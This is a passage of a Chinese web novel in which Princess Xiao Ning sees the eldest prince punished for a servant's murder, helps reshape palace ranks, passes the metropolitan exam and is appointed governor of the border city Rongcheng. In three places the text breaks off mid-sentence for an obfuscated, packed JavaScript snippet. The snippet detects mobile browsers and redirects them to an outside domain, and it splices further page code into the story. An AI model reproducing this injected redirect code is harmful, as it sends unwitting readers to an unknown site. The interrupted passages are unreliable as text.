她也赶到了五禽园,看了那具尸骨。 她可以确定,这具尸骨确实是杜四娘子。 姜焕也在现场,萧柠走了过去,伤心地叫道:“义父,原来杜四娘子在这里……” 不论杜四娘子生前做过什么,她总是看着萧柠长大的,对萧柠一直很好。 萧柠已经失去她的消息很多年了,突然得知她已经变为一具白骨,自然十分伤感。 姜焕安慰道:“公主不要太伤心了,至少找到了她的尸骨,离真相大白、真凶伏法也不远了。” 萧柠点头:“嗯。义父有没有把杜四娘子的家人接来?” “我已经派人去接了。” 杜四娘子的家人也都是姜家的仆人,他们被接来之后,都跪在尸骨旁边哭泣。 大理寺卿对姜焕、萧柠等人说道:“姜大人,大公主,你们放心,我会尽快查清杜四娘子被害的真相的。” 姜焕、萧柠点头,没说什么。 其实他们心里清楚,杜四娘子的尸骨被埋在大皇子的园林,那杀人者是谁不言而喻。 大皇子应该是用某种方法收买了杜四娘子,让她在萧柠的糕点上洒了蟹粉,想让萧柠考试失利。 事发后,大皇子干脆掳走了杜四娘子,将其杀害,埋在五禽园里。 五禽园是大皇子的园林,其他人未受邀请,也进不来。 怪不得姜焕和萧柠一直找不到杜四娘子,原来杜四娘子早就死了。 大理寺查了一通,没查到什么线索,只能根据埋尸的位置,推断凶手是大皇子或大皇子的下属。 萧柠也把之前县试时,自己腹泻,差点没通过考试的事,告诉了皇帝。 皇帝震怒,对萧柠道:“柠儿,之前你怎么不说?” 97. 凶顽(修) “之前没有证据,而且儿臣也不愿意用这种小事烦扰父皇。再加上县试已经顺利通过,儿臣就不想节外生枝了。没想到,大皇弟如此残忍,竟把杜四娘子害死……他哪怕给杜四娘子一笔钱,让杜四娘子逃走也好啊……” “柠儿,你放心,朕一定严惩大皇子,给你一个交代。” 皇帝下令,再将大皇子杖责二十,罚他赔偿姜家一百两,赔偿萧柠一千两。 大皇子害死一条人命,还曾经试图阻挠萧柠县试,只是罚钱、杖责,其实已经是和稀泥的处理办法了。 但萧柠也接受了这个结果。有惩罚总比没惩罚好。 对皇帝来说,要他一下子舍弃大皇子、把大皇子打进尘埃里,也不现实。 大皇子毕竟是他最喜欢的孩子。 只要能让皇帝对大皇子的印象差一些,也算是成功了一大步了。 大皇子之前就被杖责三十,伤还没养好,又被杖责二十,皮肉之苦可够受的。 据说他被杖责的时候,疼晕了过去。 萧柠拿到大皇子的罚金一千两后,拿了五百两出来,分给杜四娘子的家人,并用于给杜四娘子操办后事。 系统给了萧柠150积分,现在的积分是149850。 据说,大皇子不停地喊冤,还给皇帝写了奏折,说自己不认识什么杜四娘子,更没有杀了她。 皇帝看了大皇子的奏折后,大发雷霆,将奏折撕烂,怒斥大皇子死性不改,派了心腹太监上门,将大皇子骂了一顿。 大皇子从此消停。 经此一事,大皇子应该暂时没法成为太子了,萧柠也可以安心备考了。 趁着大皇子消沉之际,三皇子可以韬光养晦,发展自己的势力,将来能跟大皇子一争。 只要三皇子成功成为太子,以他跟萧柠的关系,必不会阻止萧柠当女官。 说不定,萧柠还能请求他改革,允许其他女人参加科举,当女官,给所有有才华的女人一个机会。 三皇子贤明仁爱,必会成为一代明君。 到时候,自己就当名臣,辅佐他,说不定会成为佳话。 几天后,萧玉蟾来拜访萧柠,跟她一起看书。 她们现在暂时能安心了,看书的效率也大大提高。 萧玉蟾虽然暂时没法参加科考、当女官,但有萧柠在,她的未来就是有希望的。所以,她读书也毫不懈怠。 过了一会,萧玉蟾道:“公主,您说之前传纸条给我们的两拨人究竟是谁?” “很难猜,应该是暗处的一些势力。第一个传纸条的人,用馆阁体写字,应该是个朝中重臣;第二个传纸条的人,用左手写字,身份就难猜了,谁都有可能。” “那两拨势力是不是也是支持三皇子的?” “是不是支持三皇子,还不好说。但他们反对大皇子,却是一定的。总之,他们是帮了我们。如果没有那两张纸条,我们搜集大皇子的罪证不会那么容易。只是,我总觉得没那么简单。” “怎么说?” “那两拨势力既然能传纸条给我们,说明他们知道的事情远比我们多。他们就像是暗处的棋手,时不时抛出点诱饵来。我们在他们眼中,也许只是棋子。他们要改变朝堂局势,是无声无息的。虽然大皇子确实有罪,但也不代表暗处的势力是正义的,也许他们只是想把水搅浑。” “公主说的有道理。只是,我们怎么才能保证不被他们利用呢?” “现在我们还太弱小了,保证不了,只能慢慢发展自己的势力了。” “嗯。” “对了,自从回来,我还没问过你的近况。这些年你过得好吗?” 萧玉蟾笑道:“公主,您看我全须全尾地在这里,会不好吗?我还跟以前一样。” “成亲之后,总比之前辛苦些吧?婆家的人没欺负你吧?” “我可是县主,谁敢欺负我?我有自己的府邸,不跟婆家的人一起住的。就算有些亲戚想暗中挤兑我,我也能挤兑回去。” “那就好。对了,你是不是有了一个孩子?我还没给红包呢。” 说着,萧柠就给了萧玉蟾二百两红包。 萧玉蟾笑道:“我本来不打算马上生孩子的,但我又觉得,早点生下孩子,免得其他人聒噪。自从我生下儿子之后,也没什么人管我了,我想做什么就做什么。要不然,光是我娘家那群亲戚,就能催死我。” “有了孩子后,会耽误读书吗?” “还好,孩子都是下人们带的,我可以一边看着孩子,一边读书,不会受影响。孩子要是吵闹,我就离他远点。将来我若跟公主一起外出做官,就把孩子也带上。” “哈哈,那也好。我们要是无聊了,还能逗逗孩子。他跟着我们,从小就能读很多书。” “他要是愿意读,我就教他;要是不爱读书,就算了。孩子快乐最重要。人有百样活法,未必都要成为读书种子。” “你说得对。” 过了一会,到饭点了,两人一起到温妃这里蹭饭。 温妃笑道:“我如今忙了,没有时间做饭,今天的晚饭是御膳房那边拿的,可以吗?” 萧柠道:“差点忘了娘娘现在管着后宫事务了,我和玉蟾吃什么都可以。” “那好,咱们三个一起吃饭,热闹些。” 三人一起吃饭,非常开心。温妃跟她们说说笑笑,心情也好了不少。 温妃养了一些鱼,吃完饭后,萧柠和萧玉蟾一起赏鱼。 温妃问道:“你们接下来有什么打算?还是像以前那样,每天读书吗?” 萧柠道:“对。我要参加明年的会试,所以这段时间会抓紧学习。” 萧玉蟾道:“如果我没什么事的话,也会每天进宫陪大公主读书的。” 温妃道:“那太好了。你们每天来我这里吃饭,我这里也能热闹些。” 萧柠赞同:“如果温妃娘娘不嫌麻烦的话,我和玉蟾就每天陪您吃一顿饭。” “谢谢……” “温妃娘娘为何谢我们?” “深宫寂寞,是你们不能体会的。后宫妃嫔虽多,但可交心的却很少。你们两个是为数不多的可以畅所欲言的对象了。” “娘娘,您为何不发展一两种爱好呢?” “我喜欢插花、养鱼,但这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147040|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不花什么时间。” “您可以发展一些耗时间的爱好,比如练字。这样,日子会更充实一些。” “嗯,你说的有道理。” 系统突然冒了出来:“萧柠,你获得了2000积分,现在的积分是151850。” 萧柠用意念问道:“为什么?” “你答应每天陪温妃吃饭,让她很开心。” “就这样?” “你每天陪她吃饭,也要付出时间精力的。你能照顾到温妃的情绪,说明你非常善良。” “谢谢你的夸赞,我觉得我越来越优秀了。” “嘿嘿。对了,我觉得商城里有个商品很适合你。” “什么?” “‘忠心强化’,可以把任意一个下属的忠心强化到一百,这样她就绝对忠于你,不会背叛了。你之前不是觉得无人可用吗?可以把那四名女护卫的忠心强化一下,这样,她们就跟你的专属暗卫差不多了。” “好啊。这个‘忠心强化’要多少积分?” “两万积分一次。” “我买四次,将鸾音、绿袖、飞鹰、桑叶四人的忠心强化到一百。” “好的,已强化完成。扣除八万积分,现在剩余积分71850。” “太好了。对了,冬香和小雪的忠诚度是多少?” “要查吗?需要花积分查。” “算了,不用查了,她们对我肯定忠心。话说,多宝,为什么现在跟你说话动不动就要花积分啊?” “这个……如果你什么都不买,只是闲聊的话,是不用积分的呀。买东西要积分,这我也没办法呢。” “好吧。” “对了,我这里显示,由于你花了较多积分,可以赠送你一项服务。以后,你这边可以用夸夸群拍视频,上传到群里。要使用这个功能,只需打开夸夸群,里面会有一个黑色的长方形按钮,按一下就能拍,再按一下就停止拍摄。” “我要拍视频干什么?” “也许有用呢。目前只有群友能传视频给你,如果你也能传视频给她们,交流起来就更方便了。” “好,谢谢你。” 萧柠和系统用意念交流,很快就聊完了,萧柠现在还在温妃的房间里。 温妃道:“刚才吃得太多了,咱们去外面走走,消消食吧。” 萧柠和萧玉蟾都道:“好。” 三人往御花园的方向走去,没过多久,却见靳才人背对着她们站着,她身侧还有个妃嫔跪在地上,似乎在哭。 走近一看,那个跪着的妃嫔身边还有个小女孩也跪着,正是六公主。 温妃皱了皱眉,走了过去,问道:“怎么回事?” 靳才人转过身来,却未对温妃行礼,而是似笑非笑地道:“温妃妹妹来了。” 靳才人由贵妃贬为才人,似乎还未适应身份的转变,还想在称呼上压温妃一头。 温妃并未在意,只是微笑道:“靳姐姐,好几天不见了。您为何要为难荣宝林和六公主?” 跪在地上哭泣的妃嫔,便是荣宝林。她脸上红红的,好像被人打过。六公主便是她的孩子。 98. 晋封(修) 靳才人笑道:“荣宝林没规矩,刚才竟未向我行礼。我虽然被贬为才人,但比宝林还是高一级的。旁人欺辱我也就罢了,区区一个宝林,凭什么欺辱我?” 温妃道:“靳姐姐此言差矣,宫中妃嫔都是一家人,有谁会欺辱您呢?至于荣宝林,更是柔和谦顺,不敢逾矩,想必是有什么误会。” 荣宝林道:“温妃娘娘明鉴,嫔妾方才陪六公主玩,没看见靳姐姐,所以才未曾行礼。嫔妾跪着无妨,但六公主年幼,能不能让她站起来?” 温妃道:“你们俩都站起来吧。既然是没看见,不是成心的,没什么好责罚的。” 萧柠早就把六公主扶了起来,六公主抓着萧柠的手,委屈巴巴的样子。 萧柠掏出手帕来,给她擦了眼泪和鼻涕。 荣宝林也站了起来,但还是有些害怕地看着靳才人。 靳才人冷笑道:“温妃妹妹只会一味地施恩,往后这后宫越发没了规矩了。不过这也难怪,温妃妹妹从未管过后宫,经验不足也是有的。若是你有什么不懂的,我倒是可以教你。” 温妃笑道:“靳姐姐既然如此看重规矩,怎么也不见您给我行礼呢?我虽然年轻些,但好歹是妃位。” 靳才人的脸红一阵,白一阵。她高傲惯了,从来都不把温妃看在眼里,如今怎么肯向她低头? 温妃看出了靳才人的窘迫,道:“方才我是开玩笑的,靳姐姐就是真要行礼,我也受不起。您是皇上的第一位妃嫔,也是最受宠的一位,我们自然没法跟您比。荣宝林入宫晚,您就不要跟她计较了。至于管理宫务,我确实没经验,不过可以请示皇上,靳姐姐无需为我担心。” 温妃话里话外给足了靳才人面子,靳才人也不好再说什么,只得道:“温妃妹妹有数便好,那我先告辞了。” 靳才人直接走了,温妃也没挑她的理。接着,温妃安慰了荣宝林几句,让她带六公主回去歇息。 荣宝林道:“多谢温妃娘娘为我解围。只是,以前受她的气便罢了,为何她都被贬了,我还要受她的气……” “你位份比她低,也没法子……她不敢去寻高位妃嫔的晦气,就把气撒到了你的头上。你别害怕,以后多带六公主来我这里玩,躲着点靳才人就是了。” “嗯,嫔妾记住了。” 荣宝林带着六公主离开了。 温妃的眼神中还有几分同情。 萧柠道:“温妃娘娘,以前靳才人做贵妃时,打压后宫妃嫔,很多妃嫔的位份都不高。您何不趁着自己掌管宫务的机会,向父皇提议大封六宫,提高妃嫔们的位份呢?这样,靳才人就没法欺负其他弱势的妃嫔了,您还能收服人心。” 温妃点头道:“你说的有道理。如果后宫妃嫔全是才人以上的位份,靳才人还能为难谁去?等我下次见到皇上,就跟皇上提议。” 几天后,温妃向皇帝提议大封六宫,尤其是生育过子女的妃嫔,应该有更高的地位。 皇帝也觉得有道理,给许多妃嫔都晋封了。 生育过孩子的妃嫔,都晋为美人、婕妤、充容等,最差的也是五品才人。 只有一些资历不深,或是未曾生育的妃嫔,没有得到晋封。 其中二皇子的生母本为六品宝林,晋为四品美人。 六公主的生母荣宝林也晋封为荣才人,地位跟靳才人一样,这下靳才人再也没法欺负她了。 靳才人得知了大封六宫的消息,气得摔了很多瓷器、碗筷。 结果,她宫里没有足够的碗筷了,宫人们吃饭只能用手抓着吃。她自己倒是碗筷齐全,不影响吃饭。 她叫宫人去找温妃领新的碗筷,温妃说各宫的碗筷都有定数,换碗筷的时间也有规定。现在还不到换新碗筷的时候,不能铺张浪费,给内务府的工匠造成负担,请靳才人克服一下困难。 靳才人听了宫人的回话,气得把最后一些瓷器也摔了。宫人们拼命拦着,她才没把最后的碗筷一起摔了。 萧柠因为提议大封六宫,改善了妃嫔们的生活,提高了她们的地位,系统给了她四千积分。 现在的积分是75850。 —— 御书房内。 太监禀报:“皇上,二公主带着小世子求见。” 皇帝道:“快让她们进来。” 二公主萧梦苒抱着孩子进来,一副委屈的模样。 皇帝问道:“梦苒,你怎么了?是不是又跟裴靖吵架了?” “不是……父皇,我还以为您再也不想见我了。” “怎么会呢?” “您生母妃和弟弟的气,我以为您也生我的气。” “不会的,他们是他们,你是你。他们犯错了,才被父皇惩罚。” “父皇,您能不能原谅他们?刚才我去看了弟弟,他好可怜,趴在床上起不来。他还跟我说,他是冤枉的,五禽园里那具尸体不是他杀的……” 皇帝皱眉:“不是说了半年内不许别人探视大皇子吗?” “父皇,我又不是别人,我是他亲姐姐啊。” “没想到到现在了,他还是不肯承认错误,实在是……” “父皇,也许这其中真的有什么误会呢?” “能有什么误会?他不过是嘴硬罢了。” “父皇,您真的要关他半年?” “半年还关少了,以他犯的罪来定,死十次都不够。朕念在他是亲儿子,已经格外开恩。” “父皇,听说您近日大封六宫,为何不把母亲的位份也提一提?她现在只是一个才人,您忍心吗?” “她是犯了错才被降位的,哪有才降位又升位份的道理?你弟弟做的事,你母亲都知道,却没有阻止,反而帮着你弟弟做坏事。天底下岂有这种母亲?朕必须让她长个记性。” “父皇,以前我跟小姐妹聚会时,她们都捧着我。可现在,她们见了我,都有些不屑,我都不敢见人了。您也要为我和子涵考虑考虑啊。母亲和弟弟受到惩罚,已经知道错了,您就恢复他们的身份吧。” “梦苒,如果你今天来,只是为了你母妃和弟弟求情,就不要再说了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147041|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “当然不是,我是特意来探望父皇的。而且,子涵也想念外祖父了。您看,子涵越来越可爱了。” 皇帝本来脸色不太好,但萧梦苒把孩子给他抱,他又露出了高兴的神色,就像一个再普通不过的外祖父。 过了一会,萧梦苒说道:“父皇,能不能给我一些宝物?” “可以,你自己去库房挑吧。” 皇帝让太监带着二公主去库房,他自己继续逗外孙。 萧梦苒装了一大车的珍宝,然后去皇帝那里,把孩子带走了。 —— 齐侯府。 萧梦苒走了进来,来到大皇子的房间。 大皇子道:“姐姐,您怎么来了?父皇说半年内不许我跟旁人来往,你隔三差五地来,如果父皇知道了,会怪罪你。” “没关系,父皇不会因为这点小事责怪我的。我刚才进宫了,向父皇要了一些珍宝,现在都拿到你这里来了。你这次被罚了不少钱,估计缺钱,有了这些珍宝,也可度日。” “谢谢姐姐。对了,你有没有跟父皇说,那个杜四娘子真不是我杀的……” “说了,但父皇不信。弟弟,这里没外人,你跟我说句实话,人真不是你杀的?” “不是啊……其他罪名我都认,但那具尸体,我真不知道怎么回事。” “就算父皇相信人不是你杀的,你还有其他罪名,也没法被赦免。多一件事少一件事,最后的结果差别也不大。我看,你还是先别想这事了,安心把身体养好。” “好吧,就听姐姐的。子涵怎么样了?” “他挺好的。他的未来,可全都指望你了。你要是当了皇帝,就能给他更高的地位。” “姐姐你放心吧,只要我当了皇帝,你和母妃绝对有金山银山,富贵无极。只可惜现在,我已经失宠,也不知道什么时候能复起。” “你放心吧,我觉得父皇心里还是疼你的,否则也不会给你这么轻的处罚。等他气消了,你和母妃一定能恢复地位。” “这次我是被老三算计了,他表面上大大咧咧的,没想到暗中让他的党羽搜集我的罪证。此子不除,天理难容。” “你也搜集他的罪证,反将他一军。” “搜集不到啊。” “那你就找更好的刺客去刺杀他,不过不是现在。现在你已经麻烦缠身了,不能再轻举妄动。” “姐姐放心,我明白的。” —— 由于皇帝已经给二皇子、三皇子增派了护卫,他们不需要萧柠的女护卫了,所以四个女护卫都回到了萧柠身边。 重新见到鸾音她们,萧柠很高兴。 她们的忠诚度已经达到一百,以后无论是什么机密的事,都可以让她们去做。 不过,萧柠觉得,只靠她们四个是不够的,还需要更多的暗卫。 因此,她让绿袖收养几个孤儿,教他们武功,把孤儿们培养成新的暗卫。 这需要很多年,等鸾音、绿袖她们退休了,这批新的暗卫正好可以顶上。 99. 太守(修) 一转眼就入了冬。 今年的冬天特别冷,早早地就下了雪。 经常是前几日的积雪还未化,过几日又下雪了。所以雪越积越厚,出行不太方便。 靳才人却在这样的天气,光着脚,穿着单薄的舞衣,在雪地里跳舞。 她跳的是当年初遇皇帝时的舞蹈,跳了一遍又一遍,脚都冻紫了也不停下。 在她快要晕过去的时候,皇帝终于出现,把她抱了起来。 靳才人复宠,被升为靳妃。 虽然她暂时不是贵妃,但以皇帝对她的宠爱来看,升为贵妃的日子也不远了。 后宫事务仍然是温妃管着,但靳妃仗着自己复位,地位与温妃一样,时不时地给温妃使绊子。 温妃都以退让为主。 其他妃嫔过了短暂的好日子后,又开始畏畏缩缩的。 她们的位份基本上都比靳妃低,不敢招惹靳妃。再加上天冷雪厚,妃嫔们便以怕冷为由,不怎么出门,以免遇上靳妃。 整个冬天,都充斥着靳妃在雪地里跟皇帝玩闹的声音。有皇帝护着,雪地里也不冷了,靳妃显得春风得意。 靳妃也很聪明,从来不跟皇帝提赦免大皇子的事,只是一直回忆跟皇帝年轻时的趣事,加深皇帝对她的感情。 温妃也不跟靳妃争宠,而是隔三差五地去先皇后的凤仪宫,整理房间,并吩咐下人们维持好宫内的卫生。 自从先皇后褚氏薨逝,凤仪宫一直保持着她生前的模样,里面的陈设都未曾移动,凤仪宫的宫人也依旧被留在这里看屋子、打扫卫生,月俸也照拿。 皇帝前些年还经常来凤仪宫缅怀先皇后,后来也来得少了。 倒是温妃还不曾忘记这里,时不时地来照管一下。 某日,皇帝忽然想起了先皇后,便来到了凤仪宫,刚好看见温妃在弹先皇后的琴。 温妃弹的是《半山听雨》,这正是先皇后最喜欢弹奏的一首曲子,皇帝也很久没听过了。 皇帝驻足静听,没有走进琴室,以免惊扰温妃。 一曲弹罢,皇帝才走了进去。温妃赶紧请安。 皇帝道:“免了。温妃经常来这里吗?” “是,这里的卫生虽有下人们维持,但先皇后留下的焦尾琴无人弹奏,难免凄清了些。所以,嫔妾有空时,就会来琴室,弹奏几曲先皇后爱听的曲子,权当先皇后还未离去。” 皇帝拍了拍温妃的手:“难为你还记着她。朕记得,以前皇后跟你最是要好。” “是,嫔妾以前多亏皇后娘娘照拂。可惜皇后娘娘只留下一个三皇子,嫔妾却没有能力照拂一二,心中实在有愧。” “朕会召他回来的。他也许久未曾来他母亲这里祭奠了。” “皇上不忘故人,皇后娘娘在天之灵也一定颇感安慰。” “说起来,朕也许久未曾见你了。你为何不来找朕?” “皇上近日有靳妃姐姐陪伴,嫔妾不敢打扰。” “你也是朕的妃嫔,不必一味退让。若是想朕了,可以随时派下人来找朕。” “是,多谢皇上。” 皇帝牵着温妃的手,走了出去。 第二天,皇帝下令,晋温妃为温贵妃,摄六宫事。 同时,召三皇子回京,到户部任职。 皇帝还给了三皇子一块令牌,让他可以随时进宫祭奠先皇后。不过,他只能去凤仪宫和温贵妃宫里,不能随意走动。 他毕竟成年了,在后宫走动多有不便。皇帝允许他随时出入后宫,已经是莫大的恩惠了。 靳妃听说了这些消息,气得咬碎了银牙。 萧柠仍是闭门读书,不理诸事。 三皇子每次进宫祭奠先皇后时,都会到温贵妃这里来请安,顺便探望萧柠。 他会给萧柠带很多好玩的东西,以感谢萧柠之前的相护。 这天,萧柠笑着问道:“三弟,之前我给你讲的故事,你听明白了吗?” 三皇子道:“我一听就明白了,画师有两幅一模一样的画,必须毁去一幅。画师舍不得毁去,有个大客户就毁去了第二幅,令第一幅身价暴涨。 这第一幅画,就是大皇兄。第二幅画,就是我。画师就是父皇,大客户就是靳贵妃一党。 你给我派了两名护卫,还要我小心被毁,我自然明白你在提醒我。 我多加小心,所以每次遇到刺客,都能有惊无险。” “三弟真聪明。” “最聪明的是大皇姐才对。” ———— 第二年二月份,萧柠参加了会试。 在考场上,萧柠见到了一个老熟人——夏以清。 自从几年前夏以清帮了萧柠一次,萧柠对他的印象就不错。 萧柠开心地说道:“夏以清,是你啊?你考中举人了?” “是的,小人去年参加乡试,考中了举人,所以今年可以参加会试。” “太好了,祝你成功。” “也祝大公主蟾宫折桂。” ———— 四月份放榜,萧柠去看榜单,发现自己高中,在三甲第220名。 名次虽然不高,但好歹是中进士了,取得了做官资格。 不过,对于萧柠能不能做官,朝堂上分为两派。 有人认为,进士被授予官职是惯例,萧柠既然考中进士,就没有不做官的道理。更何况萧柠曾为国祈福三年,结庐而居,受尽苦楚,应该得到回报。 也有人认为,从未有女子当官的先例,而且萧柠是公主,金枝玉叶,不能吃苦,所以不宜做官。应该给萧柠一个“女进士”的荣誉称号,将她载入史册,以表示对她的肯定。从此以后,萧柠应该回归家庭,相夫教子。 两派官员吵得很激烈,皇帝让他们先别吵,各自上奏折,陈述主张,写明萧柠能做官或是不能做官的理由。 接下来的几日,皇帝都在考虑这件事。 他知道萧柠自己是想做官的,但他有点犹豫,毕竟以前从未有过女官,而且还是公主当官,闻所未闻。 他同意萧柠参加科考是一回事,让萧柠当官又是另一回事了。 他知道萧柠有才华,有能力,人也不错,但不知怎的,他就是不敢迈出这一步。 似乎前方有很多阻碍,这些阻碍有些来自别人,有些来自他自己。 但他心里的一些成见,却是连他自己也没法去除的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147042|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时,靳妃走了进来,笑盈盈地道:“皇上为何事烦忧?” 皇帝对靳妃一向比较纵容,也不会拿后宫不得干政的规矩压她,便说道:“大公主考中进士,按例需让她做官,可是朝中有一些反对的声音,朕也不能决断。” “皇上,您就让她做官,有何不可?” 皇帝惊讶地看向靳妃:“爱妃的意思是,应该让大公主做官?” “没错。进士做官,是规矩,那就按规矩办事,没什么好犹豫的。不过,皇上想好给大公主什么官职了吗?” “那就去翰林院吧。” “皇上,听闻边境的容城已被任将军收复,但上一任容城太守已死于敌军之手,皇上何不任命大公主为新的容城太守呢?” “容城?但是容城位于两国交界处,历任太守都少有善终的……” “皇上,以前的容城太守是因为抵抗敌人,宁死不屈才死的。但您只需吩咐大公主,有危险时先逃跑,她就不会丧命了。” “但她身为太守,有危险时岂能弃百姓于不顾?” “公主是千金之体,遇到危险先保全自己有什么不对?难道皇上忍心见她丧命吗?而且,大公主以前在容城附近的栾伊城待过,熟悉边境的情况。她这一去,定能得心应手,守好边境。边境百姓见您派亲生女儿过去治理,也一定会明白皇上关心边境人民的一片苦心。” “这倒是……” 于是,皇帝任命萧柠为容城太守,并私下告诉她:“如果有危险,你记得先保全自己,不要冒险。” 萧柠听到这话,心念百转,但也只应道:“是,女儿明白。” 过了一会,萧柠又道:“父皇,女儿能考中进士,多亏了庆安县主的帮助。她的才能不在女儿之下,所以女儿想聘请她为幕僚,带她上任。” “幕僚是官员自聘,无需经过上级同意,你聘请她便是。” “但是她已成亲,我不忍让她跟丈夫、孩子分离,不知能不能让她带家人一起上任?她的夫婿瞿明修,现在担任光禄寺丞。” “那就让瞿明修为容城长史,随你上任吧。正好之前的容城长史也战死了,这个岗位也空缺。” “是,多谢父皇。” 萧柠回到公主府,把萧玉蟾叫来,告诉她这个好消息。 两人都兴奋不已。 萧柠道:“玉蟾,我只能为你争取到私人幕僚的身份,等以后我有权力了,一定让你也参加科考,正式做官。” “嗯,我可以等。其实我不是很在意能不能成为正式官员,只要能为百姓做点实事就可以了。我现在跟你去上任,也能实现这个心愿。” “你说得很对,我要向你学习。” “公主过奖了。” ———— 靳妃回到揽月宫,二公主萧梦苒也在。 萧梦苒问道:“母妃,听说您向父皇提议,让萧柠当容城太守?” “没错。萧柠已经取得进士身份,阻碍她当官没有意义,毕竟支持她当官的势力也有很多。倒不如反其道而行之,她想做官就让她去,等将来左右为难的时候,她就知道这官没那么好做了。” “母妃的意思是?” 100. 出发(修) “我特意向皇上进言,让萧柠去容城,就是因为容城位于两国交界处,时不时地会受到攻打,并不安全。如果萧柠死守,就有战死的风险;如果她为了活命而逃跑,以后还有机会当官吗? 百姓和朝臣们都知道她是逃跑的太守,她身为长官,却弃百姓于不顾。名声坏了,有进士身份也没用。以前像这种临阵脱逃的官员,要么被斩首,要么被流放,不会有好下场的。” 萧梦苒笑道:“还是母妃有高招。我看,就让她死在边境最好。自从她成为公主,我心里就老不得劲。” “我觉得,需要防备她的不是你,而是你弟弟。” “母亲这话是什么意思?” “这些年我冷眼看着,萧柠似乎不想在你父皇跟前争宠,也没做过什么排挤你的事,所以你无需担忧。但是她野心很大,一直想当女官,只怕也存了跟你弟弟争太子之位的心思。所以我说,你弟弟才要防着她。” “她敢?从来都没有公主当太子的,她不可能成功。” “以前没有女进士、女官,她不是也做到了?” “哼,这萧柠还真有些本事。不过,如果我参加科举的话,说不定也能考中进士。” “这是不可能的,你连童生都考不上。” “母妃,您怎么老打击我啊?” “母妃说的是实话,你的水平,母妃还是了解的。不过,萧柠再厉害又怎么样呢?有母妃在,天下只能是你们姐弟的。” 萧梦苒挽着靳妃的胳膊道:“母妃最好了。母妃,现在温贵妃当贵妃了,她有没有欺负你?” “她不敢,而且这也不是她的风格。她是以性情温良而闻名后宫的,如果明目张胆地欺负人,也会有损皇上对她的印象。” “可是,现在管理六宫的权力毕竟是在她手里……这也真是奇怪了,以前她就跟个透明人一样,现在怎么这么厉害?” “她以前就不普通,是你把她看得浅了。母妃最大的劲敌从来只有一个,就是她。” “我以前怎么没觉得她会跟母妃争宠?” “不争之争,正是她的手段。” “我听不懂。” “你无需懂这个,只需要开心地活着就好。” 十天后,就到了萧柠上任的日子。 三皇子一路相送,到了一个长亭才停下。 萧柠和三皇子进长亭休息,萧柠道:“三弟,别送我了,以后的路终究是要我自己走。你现在已经调回京城,并且有温贵妃娘娘暗中庇护,你一定要努力,争取当上太子。” 三皇子点头:“我明白了,大姐放心。” “其实,你是嫡长子,太子之位本就该是你的。但是,父皇偏爱靳妃母子,所以才一直没有立你为太子。之前,大皇子犯了那么多错,父皇也没怎么样,只是将他降爵、关禁闭而已。以后你要对大皇子多加提防。” “嗯,我也有自己的势力,不会那么容易被大皇兄所害。” “你已经长大了,照顾好自己,咱们不在一处,要各自安好。” “好,大皇姐不用为我担心。等我以后有了能力,就把你调回京城,不让你留在边境。” “我觉得镇守边境也挺好的,无论在哪做官都一样。” “京城的生活条件好一些,我希望大皇姐过上更好的日子。” 萧柠笑着摸了摸他的头:“好啊,那大皇姐就等着你把我调回来。上次我离开京城去皇陵祈福时,是你和二皇弟送我。这次只有你了。” “二皇兄远在焦县,父皇并未将他调回京城。以后咱们三个要想重聚,只怕不容易了。” “这也是没办法的,咱们是皇帝的儿女,有各自的职责。” “嗯。大皇姐,我要走了,你一路小心。” 正在告别之际,萧柠忽然听见有人叫她。 她朝远处看去,只见夏以清也背着包袱过来了。 很快,夏以清也走到了亭子里。 萧柠问:“夏以清,你也是来送我的吗?” “不是,我被吏部派往容城去当录事参军,大公主是容城太守,我就是您的下属,我们可以一起走。” “原来是这样,那太好了,又多了一个熟人。对了,你在进士榜第几位?我当时看榜单时,没看见你。” “下官在进士榜三甲第265位,已经是倒数了。下官的名次在您之后,所以您没看见。” “原来如此。我当时看到自己的名字,就没再往下看了,怪不得没看见你。不管倒不倒数,总之比没考上的强多了。咱们走吧。” 萧柠带着夏以清、萧玉蟾一家三口、郭南麟和向氏母子,还有一些随从,往容城出发。 萧玉蟾的夫婿瞿明修长得仙姿鹤貌,仪表清贵,跟萧玉蟾非常般配。他们一起照顾孩子,一路上其乐融融,从不争吵。 他们的孩子也很好带,不会无故哭闹,只有饿了会哭两声。 萧柠路上无聊了,就把萧玉蟾的孩子抱过来玩玩。 萧柠现在是容城太守,正四品。本来进士一开始没法做太高的官,但容城地处边陲,条件不好,又很危险,萧柠去容城,也算是牺牲自己,为国家做贡献,所以直接当太守也合情合理。 